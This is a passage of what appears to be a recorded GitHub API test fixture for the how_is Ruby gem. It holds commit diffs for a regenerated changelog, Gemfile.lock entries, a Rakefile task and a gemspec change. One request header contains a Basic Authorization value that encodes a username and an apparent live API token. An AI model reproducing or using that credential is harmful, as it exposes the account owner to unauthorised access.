[\\#134](https://github.com/how-is/how_is/issues/134)\n+- Move from\\_config/from\\_config\\_file out of HowIs::CLI [\\#52](https://github.com/how-is/how_is/issues/52)\n \n-### Additions\n+**Merged pull requests:**\n \n-* Add/improve inline code documentation.\n- ([#132](https://github.com/how-is/how_is/pull/132))\n-* Move documentation from design/ to README.\n- ([#143](https://github.com/how-is/how_is/pull/143))\n-* Add `HowIs.from_hash` method.\n- ([#144](https://github.com/how-is/how_is/pull/144))\n+- v18.0.0 release [\\#146](https://github.com/how-is/how_is/pull/146) ([duckinator](https://github.com/duckinator))\n+- Add HowIs.from\\_hash method [\\#144](https://github.com/how-is/how_is/pull/144) ([indirect](https://github.com/indirect))\n+- Move documentation from design/ to README. [\\#143](https://github.com/how-is/how_is/pull/143) ([duckinator](https://github.com/duckinator))\n+- Fix --from. [\\#141](https://github.com/how-is/how_is/pull/141) ([duckinator](https://github.com/duckinator))\n+- Unpin Rack version. [\\#139](https://github.com/how-is/how_is/pull/139) ([duckinator](https://github.com/duckinator))\n+- Documentation! [\\#132](https://github.com/how-is/how_is/pull/132) ([duckinator](https://github.com/duckinator))\n+- Remove shebang line from lib/ file. [\\#131](https://github.com/how-is/how_is/pull/131) ([duckinator](https://github.com/duckinator))\n+- Fix URL in gemspec. [\\#130](https://github.com/how-is/how_is/pull/130) ([duckinator](https://github.com/duckinator))\n+- Gemspec: Description grammar [\\#129](https://github.com/how-is/how_is/pull/129) ([olleolleolle](https://github.com/olleolleolle))\n \n-### Changes\n+## [v17.0.0](https://github.com/how-is/how_is/tree/v17.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v16.0.0...v17.0.0)\n \n-* Unpin Rack version. ([#139](https://github.com/how-is/how_is/pull/139))\n-* Fix --from. ([#141](https://github.com/how-is/how_is/pull/141))\n+**Merged pull requests:**\n \n-### Miscellaneous\n+- Make from\\_json parse ALL dates, not just some of them. [\\#128](https://github.com/how-is/how_is/pull/128) ([duckinator](https://github.com/duckinator))\n \n-Things that don''t affect users of how\\_is.\n+## [v16.0.0](https://github.com/how-is/how_is/tree/v16.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v15.0.0...v16.0.0)\n \n-* Fix grammar in gemspec.\n- ([#129](https://github.com/how-is/how_is/pull/129))\n-* Fix URL in gemspec. ([#130](https://github.com/how-is/how_is/pull/130))\n-* Remove shebang line from lib/ file.\n- ([#131](https://github.com/how-is/how_is/pull/131))\n+**Merged pull requests:**\n \n+- Make from\\_json\\(\\) parse dates. [\\#127](https://github.com/how-is/how_is/pull/127) ([duckinator](https://github.com/duckinator))\n \n-## [v17.0.0]\n+## [v15.0.0](https://github.com/how-is/how_is/tree/v15.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v14.0.0...v15.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v17.0.0))\n-makes `HowIs.from_json` parse _all_ dates, not just _some_ dates.\n-(Whoops.)\n+**Closed issues:**\n \n-### Changes\n+- include data from GitHub Pulse in Analysis [\\#116](https://github.com/how-is/how_is/issues/116)\n \n-* Make `HowIs.from_json` parse _all_ dates, not just some of them.\n- ([#128](https://github.com/how-is/how_is/pull/128))\n+**Merged pull requests:**\n \n-## [v16.0.0]\n+- Implement HowIs.from\\_json\\(\\). [\\#126](https://github.com/how-is/how_is/pull/126) ([duckinator](https://github.com/duckinator))\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v16.0.0))\n-makes `HowIs.from_json` actually parse dates.\n+## [v14.0.0](https://github.com/how-is/how_is/tree/v14.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v13.0.0...v14.0.0)\n+\n+**Closed issues:**\n+\n+- Remove dead code [\\#121](https://github.com/how-is/how_is/issues/121)\n+- Update documentation with API changes [\\#118](https://github.com/how-is/how_is/issues/118)\n+- design an API [\\#115](https://github.com/how-is/how_is/issues/115)\n+- correct readme [\\#114](https://github.com/how-is/how_is/issues/114)\n \n-### Changes\n+**Merged pull requests:**\n \n-* Make `HowIs.from_json` parse dates.\n- ([#127](https://github.com/how-is/how_is/pull/127))\n+- Include Pulse data in JSON reports. [\\#125](https://github.com/how-is/how_is/pull/125) ([duckinator](https://github.com/duckinator))\n+- Remove dead code. [\\#123](https://github.com/how-is/how_is/pull/123) ([duckinator](https://github.com/duckinator))\n+- Update README.md about API redesign. [\\#120](https://github.com/how-is/how_is/pull/120) ([duckinator](https://github.com/duckinator))\n+- CHANGELOG typo [\\#119](https://github.com/how-is/how_is/pull/119) ([olleolleolle](https://github.com/olleolleolle))\n \n-## [v15.0.0]\n+## [v13.0.0](https://github.com/how-is/how_is/tree/v13.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v12.0.0...v13.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v15.0.0))\n-implements `HowIs.from_json`.\n+**Closed issues:**\n \n-### Changes\n+- Add ISSUES.md [\\#102](https://github.com/how-is/how_is/issues/102)\n+- Have change log link to tags [\\#100](https://github.com/how-is/how_is/issues/100)\n \n-* Implemented `How_is.from_json`.\n- ([#126](https://github.com/how-is/how_is/pull/126))\n+**Merged pull requests:**\n \n-## [v14.0.0]\n+- API redesign [\\#117](https://github.com/how-is/how_is/pull/117) ([duckinator](https://github.com/duckinator))\n+- Update README.md [\\#113](https://github.com/how-is/how_is/pull/113) ([duckinator](https://github.com/duckinator))\n+- remove pdfs and relax rack version [\\#112](https://github.com/how-is/how_is/pull/112) ([indirect](https://github.com/indirect))\n+- \\[design.md\\] add ''information about how\\_is'' section. [\\#109](https://github.com/how-is/how_is/pull/109) ([duckinator](https://github.com/duckinator))\n+- Specifications [\\#108](https://github.com/how-is/how_is/pull/108) ([duckinator](https://github.com/duckinator))\n+- Have CHANGELOG link to code snapshots. [\\#107](https://github.com/how-is/how_is/pull/107) ([duckinator](https://github.com/duckinator))\n+- Add link for ungrouped issues. [\\#104](https://github.com/how-is/how_is/pull/104) ([duckinator](https://github.com/duckinator))\n+- Add ISSUES.md. [\\#103](https://github.com/how-is/how_is/pull/103) ([duckinator](https://github.com/duckinator))\n+- CLI warning on single-word repository argument [\\#98](https://github.com/how-is/how_is/pull/98) ([olleolleolle](https://github.com/olleolleolle))\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v14.0.0))\n-made JSON reports include Pulse data, thus making `HowIs.from_json()`\n-not make any network requests at all.\n+## [v12.0.0](https://github.com/how-is/how_is/tree/v12.0.0) (2016-12-11)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v11.0.0...v12.0.0)\n \n-### Changes\n+**Closed issues:**\n \n-* Remove dead code. ([#123](https://github.com/how-is/how_is/pull/123))\n-* Include Pulse data in JSON reports.\n- ([#125](https://github.com/how-is/how_is/pull/125))\n+- ZeroDivisionError [\\#91](https://github.com/how-is/how_is/issues/91)\n+- Rake task\\(s\\) for regenerating example reports. [\\#84](https://github.com/how-is/how_is/issues/84)\n+- make issue\\_or\\_pr\\_summary use kwargs [\\#78](https://github.com/how-is/how_is/issues/78)\n+- Define unimplemented BaseReport methods [\\#77](https://github.com/how-is/how_is/issues/77)\n+- Extract BaseReport [\\#76](https://github.com/how-is/how_is/issues/76)\n+- Release v11.0 [\\#75](https://github.com/how-is/how_is/issues/75)\n+- convert average age/oldest/newest to lists [\\#70](https://github.com/how-is/how_is/issues/70)\n+- newest PR/issue [\\#69](https://github.com/how-is/how_is/issues/69)\n \n-## [v13.0.0]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v13.0.0))\n-largely focused on an API redesign.\n+- version bump to 12.0.0 [\\#97](https://github.com/how-is/how_is/pull/97) ([duckinator](https://github.com/duckinator))\n+- rake generate =\\> rake generate\\_reports. [\\#96](https://github.com/how-is/how_is/pull/96) ([duckinator](https://github.com/duckinator))\n+- Rake tasks [\\#94](https://github.com/how-is/how_is/pull/94) ([duckinator](https://github.com/duckinator))\n+- Fix divide by zero when no issues [\\#92](https://github.com/how-is/how_is/pull/92) ([duckinator](https://github.com/duckinator))\n+- Changelog v12.0 [\\#89](https://github.com/how-is/how_is/pull/89) ([duckinator](https://github.com/duckinator))\n+- Refactoring Report + \\*Report. [\\#88](https://github.com/how-is/how_is/pull/88) ([duckinator](https://github.com/duckinator))\n+- Rake tasks [\\#86](https://github.com/how-is/how_is/pull/86) ([duckinator](https://github.com/duckinator))\n+- Newest pr issue attempt 2 [\\#85](https://github.com/how-is/how_is/pull/85) ([duckinator](https://github.com/duckinator))\n+- Convert issue/PR info to a list. [\\#83](https://github.com/how-is/how_is/pull/83) ([duckinator](https://github.com/duckinator))\n+- Improve generated HTML, for easier debugging. [\\#82](https://github.com/how-is/how_is/pull/82) ([duckinator](https://github.com/duckinator))\n+- Update readme [\\#81](https://github.com/how-is/how_is/pull/81) ([duckinator](https://github.com/duckinator))\n+- Define unimplemented methods; make github\\_pulse\\_summary private. [\\#80](https://github.com/how-is/how_is/pull/80) ([duckinator](https://github.com/duckinator))\n+- Extract BaseReport into its own file. [\\#79](https://github.com/how-is/how_is/pull/79) ([duckinator](https://github.com/duckinator))\n \n-Pull requests for this release can be [viewed on\n-GitHub](https://github.com/how-is/how_is/pulls?utf8=&q=is%3Apr%20created%3A2016-12-12..2017-02-09).\n+## [v11.0.0](https://github.com/how-is/how_is/tree/v11.0.0) (2016-11-13)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v10.0.0...v11.0.0)\n \n-### Changed\n+**Closed issues:**\n \n-* API overhaul. ([#115](https://github.com/how-is/how_is/issues/115), [#117](https://github.com/how-is/how_is/pull/117))\n-* Raise an exception/show a CLI warning if the provided repository name\n- isn''t in the \"user/repo\" format.\n- ([#98](https://github.com/how-is/how_is/pull/98))\n+- Failing tests. [\\#68](https://github.com/how-is/how_is/issues/68)\n+- `how\\_is how-is/how\\_is` is broken [\\#61](https://github.com/how-is/how_is/issues/61)\n+- Rename export! to export\\_file [\\#57](https://github.com/how-is/how_is/issues/57)\n+- Remove how\\_is/chart.rb [\\#56](https://github.com/how-is/how_is/issues/56)\n+- Unknown option --report-file referenced in the README [\\#51](https://github.com/how-is/how_is/issues/51)\n+- Specify period for reports [\\#50](https://github.com/how-is/how_is/issues/50)\n+- Handle singular/plural PRs and issues properly [\\#49](https://github.com/how-is/how_is/issues/49)\n+- HTML graph messes up \"\\(No label\\)\" graph label [\\#48](https://github.com/how-is/how_is/issues/48)\n+- Document library usage. [\\#45](https://github.com/how-is/how_is/issues/45)\n+- Use VCR instead of files containing API responses [\\#37](https://github.com/how-is/how_is/issues/37)\n+- Make integration tests not rely on GitHub API [\\#36](https://github.com/how-is/how_is/issues/36)\n+- Integration tests [\\#26](https://github.com/how-is/how_is/issues/26)\n+- Links [\\#18](https://github.com/how-is/how_is/issues/18)\n+- \\[PDF\\] Show labels outside of graph [\\#8](https://github.com/how-is/how_is/issues/8)\n \n-## [v12.0.0]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v12.0.0))\n-largely focused on refactoring and developer experience improvements\n-(e.g. adding Rake tasks and improving the generated JSON and HTML).\n+- Add changelog. [\\#73](https://github.com/how-is/how_is/pull/73) ([duckinator](https://github.com/duckinator))\n+- Fix failing tests. [\\#72](https://github.com/how-is/how_is/pull/72) ([duckinator](https://github.com/duckinator))\n+- Add tests for --help, -h, --version, and -v. [\\#67](https://github.com/how-is/how_is/pull/67) ([duckinator](https://github.com/duckinator))\n+- Test refactoring [\\#66](https://github.com/how-is/how_is/pull/66) ([duckinator](https://github.com/duckinator))\n+- Handle singular/plural PRs and issues correctly. [\\#65](https://github.com/how-is/how_is/pull/65) ([duckinator](https://github.com/duckinator))\n+- Remove duplicate period. [\\#64](https://github.com/how-is/how_is/pull/64) ([duckinator](https://github.com/duckinator))\n+- Handle cases where there are no issues or PRs. [\\#63](https://github.com/how-is/how_is/pull/63) ([duckinator](https://github.com/duckinator))\n+- Fix \"No label\" graph label. [\\#62](https://github.com/how-is/how_is/pull/62) ([duckinator](https://github.com/duckinator))\n+- Rename export! to export\\_file. [\\#60](https://github.com/how-is/how_is/pull/60) ([duckinator](https://github.com/duckinator))\n+- Remove remnants of PDF-related stuff. [\\#59](https://github.com/how-is/how_is/pull/59) ([duckinator](https://github.com/duckinator))\n+- FUCK YEAH DOCUMENTATION [\\#58](https://github.com/how-is/how_is/pull/58) ([duckinator](https://github.com/duckinator))\n+- Specify time period for reports. [\\#55](https://github.com/how-is/how_is/pull/55) ([duckinator](https://github.com/duckinator))\n+- SO LONG, PDF REPORTS. YOU WILL NOT BE MISSED. [\\#54](https://github.com/how-is/how_is/pull/54) ([duckinator](https://github.com/duckinator))\n+- Document Ruby API. [\\#53](https://github.com/how-is/how_is/pull/53) ([duckinator](https://github.com/duckinator))\n+- Update roadmap.markdown [\\#47](https://github.com/how-is/how_is/pull/47) ([duckinator](https://github.com/duckinator))\n+- New roadmap. [\\#46](https://github.com/how-is/how_is/pull/46) ([duckinator](https://github.com/duckinator))\n \n-Pull Requests for this release can be [viewed on\n-GitHub](https://github.com/how-is/how_is/pulls?utf8=&q=is%3Apr%20created%3A2016-11-11..2016-12-11).\n+## [v10.0.0](https://github.com/how-is/how_is/tree/v10.0.0) (2016-09-01)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v9.0.0...v10.0.0)\n \n-### Added\n+**Closed issues:**\n \n-- Include newest PR/issue in reports.\n- ([#85](https://github.com/how-is/how_is/pull/85))\n+- --version is broken [\\#42](https://github.com/how-is/how_is/issues/42)\n+- report generation fails [\\#25](https://github.com/how-is/how_is/issues/25)\n \n-### Changed\n+**Merged pull requests:**\n \n-- Refactoring. ([#79](https://github.com/how-is/how_is/pull/79), [#80](https://github.com/how-is/how_is/pull/80), [#82](https://github.com/how-is/how_is/pull/82), [#88](https://github.com/how-is/how_is/pull/88))\n-- JSON and HTML reports have nicer source.\n- ([#82](https://github.com/how-is/how_is/pulls/82),\n- [#84](https://github.com/how-is/how_is/pulls/84))\n-- Handle generating a report on a repository with no open issues.\n- ([#92](https://github.com/how-is/how_is/pull/92))\n-- Add Rake tasks to make development easier. ([#86](https://github.com/how-is/how_is/pull/86), [#94](https://github.com/how-is/how_is/pull/94), [#96](https://github.com/how-is/how_is/pull/96))\n-- PR/issue info is now displayed as lists instead of paragraphs. ([#83](https://github.com/how-is/how_is/pull/83))\n+- Parser specs [\\#43](https://github.com/how-is/how_is/pull/43) ([duckinator](https://github.com/duckinator))\n \n-## [11.0.0]\n+## [v9.0.0](https://github.com/how-is/how_is/tree/v9.0.0) (2016-08-20)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v8.0.0...v9.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v11.0.0))\n-removed PDF reports, handles more edge cases, and improves tests.\n+**Closed issues:**\n \n-### Added\n+- Help text is outdated. [\\#33](https://github.com/how-is/how_is/issues/33)\n+- `how\\_is rubygems/rubygems` raises contract violation [\\#32](https://github.com/how-is/how_is/issues/32)\n+- Warning when executing how\\_is [\\#29](https://github.com/how-is/how_is/issues/29)\n+- Intermittent off-by-one date error in Analyzer\\#average\\_date\\_for test [\\#21](https://github.com/how-is/how_is/issues/21)\n \n-- Document Ruby API\n+**Merged pull requests:**\n \n-### Changed\n+- We''re not using Cucumber + Aruba. [\\#40](https://github.com/how-is/how_is/pull/40) ([duckinator](https://github.com/duckinator))\n+- Option parser refactor [\\#39](https://github.com/how-is/how_is/pull/39) ([duckinator](https://github.com/duckinator))\n+- Fix first integration test [\\#38](https://github.com/how-is/how_is/pull/38) ([duckinator](https://github.com/duckinator))\n+- Update documentation. [\\#35](https://github.com/how-is/how_is/pull/35) ([duckinator](https://github.com/duckinator))\n+- Fix contract error [\\#34](https://github.com/how-is/how_is/pull/34) ([duckinator](https://github.com/duckinator))\n+- Use the correct config file in integration tests. [\\#31](https://github.com/how-is/how_is/pull/31) ([duckinator](https://github.com/duckinator))\n+- Remove redundant definiton of C. [\\#30](https://github.com/how-is/how_is/pull/30) ([duckinator](https://github.com/duckinator))\n+- Fix Analyzer\\#average\\_age\\_for test. [\\#28](https://github.com/how-is/how_is/pull/28) ([duckinator](https://github.com/duckinator))\n+- Integration tests [\\#27](https://github.com/how-is/how_is/pull/27) ([duckinator](https://github.com/duckinator))\n \n-- Fixed command-line help text (it was incorrect in v10.0.0 and some earlier versions)\n-- Handles generating reports for repositories with no issues and/or no PRs\n-- Handles generating reports for repositories with no activity in the\n- past month\n-- Tests are improved\n-- Tests no longer make actual network requests\n+## [v8.0.0](https://github.com/how-is/how_is/tree/v8.0.0) (2016-07-28)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v7.0.0...v8.0.0)\n \n-### Removed\n+## [v7.0.0](https://github.com/how-is/how_is/tree/v7.0.0) (2016-07-28)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v6.0.0...v7.0.0)\n \n-- PDF reports\n+## [v6.0.0](https://github.com/how-is/how_is/tree/v6.0.0) (2016-07-28)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v5.0.0...v6.0.0)\n \n-## [10.0.0 and earlier]\n+**Merged pull requests:**\n \n-This changelog was started while working on v11.0.0.\n-Prior to that, I have no idea what was added or when.\n+- CLI specs [\\#24](https://github.com/how-is/how_is/pull/24) ([duckinator](https://github.com/duckinator))\n+- Spelling in OptParser help for --config [\\#23](https://github.com/how-is/how_is/pull/23) ([olleolleolle](https://github.com/olleolleolle))\n+\n+## [v5.0.0](https://github.com/how-is/how_is/tree/v5.0.0) (2016-07-21)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v4.0.0...v5.0.0)\n+\n+## [v4.0.0](https://github.com/how-is/how_is/tree/v4.0.0) (2016-07-19)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v3.0.0...v4.0.0)\n+\n+**Closed issues:**\n+\n+- Monthly summary [\\#19](https://github.com/how-is/how_is/issues/19)\n+\n+**Merged pull requests:**\n+\n+- Add text summary. [\\#22](https://github.com/how-is/how_is/pull/22) ([duckinator](https://github.com/duckinator))\n+\n+## [v3.0.0](https://github.com/how-is/how_is/tree/v3.0.0) (2016-07-13)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v2.0.0...v3.0.0)\n+\n+**Closed issues:**\n+\n+- Exception when running `how\\_is duckinator/how\\_is` from master [\\#16](https://github.com/how-is/how_is/issues/16)\n+\n+**Merged pull requests:**\n+\n+- HTML links [\\#20](https://github.com/how-is/how_is/pull/20) ([duckinator](https://github.com/duckinator))\n+\n+## [v2.0.0](https://github.com/how-is/how_is/tree/v2.0.0) (2016-06-27)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v1.0.0...v2.0.0)\n+\n+**Closed issues:**\n+\n+- HTML exports [\\#13](https://github.com/how-is/how_is/issues/13)\n+- When importing from JSON, don''t require repository name as argument. [\\#10](https://github.com/how-is/how_is/issues/10)\n+- Allow export to Ruby objects as well as files [\\#7](https://github.com/how-is/how_is/issues/7)\n+\n+**Merged pull requests:**\n+\n+- HTML graphs [\\#17](https://github.com/how-is/how_is/pull/17) ([duckinator](https://github.com/duckinator))\n+\n+## [v1.0.0](https://github.com/how-is/how_is/tree/v1.0.0) (2016-06-22)\n+**Closed issues:**\n+\n+- Fix failing tests [\\#15](https://github.com/how-is/how_is/issues/15)\n+- Update README [\\#11](https://github.com/how-is/how_is/issues/11)\n+- Find a better name [\\#2](https://github.com/how-is/how_is/issues/2)\n+- Metrics to track [\\#1](https://github.com/how-is/how_is/issues/1)\n+\n+**Merged pull requests:**\n+\n+- waffle.io Badge [\\#14](https://github.com/how-is/how_is/pull/14) ([waffle-iron](https://github.com/waffle-iron))\n+- Executable: Fail faster, use abort [\\#9](https://github.com/how-is/how_is/pull/9) ([olleolleolle](https://github.com/olleolleolle))\n+- Rotate images with MiniMagick [\\#5](https://github.com/how-is/how_is/pull/5) ([olleolleolle](https://github.com/olleolleolle))\n+\n+\n+\n+\\* *This Change Log was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)*\n\\ No newline at end of file"},{"sha":"43524eab3b648355e6d4ee2f44b938564c4ae85e","filename":"Gemfile.lock","status":"modified","additions":27,"deletions":0,"changes":27,"blob_url":"https://github.com/how-is/how_is/blob/0f59a83c0e8ba6b63165af3c780f13ff843bb058/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/0f59a83c0e8ba6b63165af3c780f13ff843bb058/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=0f59a83c0e8ba6b63165af3c780f13ff843bb058","patch":"@@ -10,8 +10,14 @@ PATH\n GEM\n remote: https://rubygems.org/\n specs:\n+ activesupport (5.1.2)\n+ concurrent-ruby (~> 1.0, >= 1.0.2)\n+ i18n (~> 0.7)\n+ minitest (~> 5.1)\n+ tzinfo (~> 1.1)\n addressable (2.4.0)\n ast (2.3.0)\n+ concurrent-ruby (1.0.5)\n contracts (0.16.0)\n crack (0.4.3)\n safe_yaml (~> 1.0.0)\n@@ -22,23 +28,35 @@ GEM\n diff-lcs (1.3)\n faraday (0.9.2)\n multipart-post (>= 1.2, < 3)\n+ faraday-http-cache (2.0.0)\n+ faraday (~> 0.8)\n github_api (0.17.0)\n addressable (~> 2.4.0)\n descendants_tracker (~> 0.0.4)\n faraday (~> 0.8, < 0.10)\n hashie (>= 3.4)\n mime-types (>= 1.16, < 3.0)\n oauth2 (~> 1.0)\n+ github_changelog_generator (1.14.3)\n+ activesupport\n+ faraday-http-cache\n+ multi_json\n+ octokit (~> 4.6)\n+ rainbow (>= 2.1)\n+ rake (>= 10.0)\n+ retriable (~> 2.1)\n hashdiff (0.3.4)\n hashie (3.5.6)\n heresy (4.0.0)\n default (~> 1.0.0)\n heresy-string (~> 1.0.0)\n net-socket (~> 1.0.0)\n heresy-string (1.0.0)\n+ i18n (0.8.6)\n jwt (1.5.6)\n mayhaps (0.3.0)\n mime-types (2.99.3)\n+ minitest (5.10.2)\n multi_json (1.12.1)\n multi_xml (0.6.0)\n multipart-post (2.0.0)\n@@ -49,6 +67,8 @@ GEM\n multi_json (~> 1.3)\n multi_xml (~> 0.5)\n rack (>= 1.2, < 3)\n+ octokit (4.7.0)\n+ sawyer (~> 0.8.0, >= 0.5.3)\n openssl-better_defaults (0.0.1)\n parallel (1.11.2)\n parser (2.4.0.0)\n@@ -58,6 +78,7 @@ GEM\n rainbow (2.2.2)\n rake\n rake (11.3.0)\n+ retriable (2.1.0)\n rspec (3.6.0)\n rspec-core (~> 3.6.0)\n rspec-expectations (~> 3.6.0)\n@@ -80,6 +101,9 @@ GEM\n unicode-display_width (~> 1.0, >= 1.0.1)\n ruby-progressbar (1.8.1)\n safe_yaml (1.0.4)\n+ sawyer (0.8.1)\n+ addressable (>= 2.3.5, < 2.6)\n+ faraday (~> 0.8, < 1.0)\n slop (4.4.3)\n tessellator-fetcher (5.0.1)\n curl_cacert\n@@ -88,6 +112,8 @@ GEM\n openssl-better_defaults\n thread_safe (0.3.6)\n timecop (0.8.1)\n+ tzinfo (1.2.3)\n+ thread_safe (~> 0.1)\n unicode-display_width (1.3.0)\n vcr (3.0.3)\n webmock (3.0.1)\n@@ -100,6 +126,7 @@ PLATFORMS\n \n DEPENDENCIES\n bundler (~> 1.11)\n+ github_changelog_generator\n how_is!\n rake (~> 11.2)\n rspec (~> 3.5)"},{"sha":"9e9cae6978a68a16b61ea4409b3a221a33087f09","filename":"Rakefile","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/0f59a83c0e8ba6b63165af3c780f13ff843bb058/Rakefile","raw_url":"https://github.com/how-is/how_is/raw/0f59a83c0e8ba6b63165af3c780f13ff843bb058/Rakefile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Rakefile?ref=0f59a83c0e8ba6b63165af3c780f13ff843bb058","patch":"@@ -13,6 +13,10 @@ end\n \n task :default => :spec\n \n+task :generate_changelog do\n+ sh ''github_changelog_generator''\n+end\n+\n # Helper functions used later in the Rakefile.\n class HelperFunctions\n def self.freeze_time(&_block)"},{"sha":"bbb3dedd3c80ebd6732cb4bf22d96c159d0f9ea7","filename":"how_is.gemspec","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/0f59a83c0e8ba6b63165af3c780f13ff843bb058/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/0f59a83c0e8ba6b63165af3c780f13ff843bb058/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=0f59a83c0e8ba6b63165af3c780f13ff843bb058","patch":"@@ -32,4 +32,5 @@ Gem::Specification.new do |spec|\n spec.add_development_dependency \"vcr\", \"~> 3.0\"\n spec.add_development_dependency \"webmock\"\n spec.add_development_dependency \"rubocop\", \"~> 0.49.1\"\n+ spec.add_development_dependency \"github_changelog_generator\"\n end"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:37 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3382' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"010ff7431760c7c318755eceb58936bd" Last-Modified: - Sun, 16 Jul 2017 16:23:56 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 87A1:1BC1:12144E:2DAABD:5CC36AE5 body: encoding: ASCII-8BIT string: '{"sha":"50a9b616043fdadfcb262d68c5be32bb5f350c5d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTBhOWI2MTYwNDNmZGFkZmNiMjYyZDY4YzViZTMyYmI1ZjM1MGM1ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T16:23:56Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T16:23:56Z"},"message":"Merge pull request #177 from how-is/changelog-stuff\n\nUse github_changelog_generator for generating the changelog.","tree":{"sha":"3179757d4faa2722208fefe76db767ed8da1b1df","url":"https://api.github.com/repos/how-is/how_is/git/trees/3179757d4faa2722208fefe76db767ed8da1b1df"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","html_url":"https://github.com/how-is/how_is/commit/50a9b616043fdadfcb262d68c5be32bb5f350c5d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"b4a24011f4c9a48f533e2abc1f46164d9cd86a45","url":"https://api.github.com/repos/how-is/how_i